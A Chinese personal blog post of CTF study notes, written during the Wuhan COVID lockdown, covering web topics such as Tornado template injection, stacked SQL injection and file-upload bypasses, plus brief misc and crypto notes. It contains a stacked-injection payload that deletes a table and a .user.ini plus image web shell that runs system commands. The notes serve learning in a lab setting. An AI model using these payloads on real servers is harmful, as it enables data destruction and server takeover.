武汉加油❤️
春节前夕武汉爆发新型冠状病毒🦠,病毒随着春运快速传播,全国乃至全球都出现了患者,导致政府实施封路。我此时生身处海南省的爷爷奶奶家,本是想着来看看爷爷奶奶,结果却被困在海南回不了家了。国家有难,出不了力,只能待在家里不给国家添乱。正好借此机会多多学习。😂
从Web到Misc再到Crypto,此处简单记录一下思路。
web做了些除PHP其他语言的后端题,什么python和java的,java语言还是得来学一下。
python Flask框架审计,首先查看路由。
1
2
3
def hello_world():
return 'Hello World!'python Tornado框架,服务端模板注入攻击(SSTI)。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和主流Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
得利于其非阻塞的方式和对epoll的运用,Tornado 每秒可以处理数以千计的连接,因此 Tornado 是实时 Web 服务的一个 理想框架。java Tomcat框架,搭建起来比较简单。WEB-INF/web.xml泄露(这个还不是很熟)。例题
1
2sudo chmod 755 bin/*.sh
./bin/startup.sh正则,主要是要熟记。Python中字符串前面加上 r 表示原生字符串。
递归正则
[a-z,_]+\((?R)?\)
可用于正则括号对称问题。堆叠注入
1
1';show databases;#
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
PHP文件上传中的.user.ini隐藏后门(这是高级操作,普通的就是.htaccess文件攻击),这个操作有点骚啊😅。后台以黑名单过滤,我们可以上传一个这样的.user.ini:
1
2GIF89a
auto_prepend_file=a.jpg然后再上传一个这样的图片马a.jpg:
1
2GIF89a
<script language='php'>system('cat /flag');</script>最后,我们访问同目录下的随机一个php文件。例题:SUCTF 2019 CheckIn
js代码压缩混淆,用来让对方看不懂代码。可将源码中的js进行反混淆反压缩。还是得抓紧时间把AJAX学下来。还有控制台的使用,我只在Bugku的江湖魔头操作过,都快忘了。
Misc中学到的就是,懂文件的16进制源码什么位置代表什么。比如图片宽和高,rar和zip伪加密压缩包要修改哪里什么的。不熟的是在图片的高度被改过了后怎么写脚本计算图片原始的高。例题:大白
Crypto难点就是RSA非对称加密了,一般是根据密文和公钥等让你用脚本计算,再就是用脚本爆破,还有密文是多项式的。这部分不太熟要多钻研。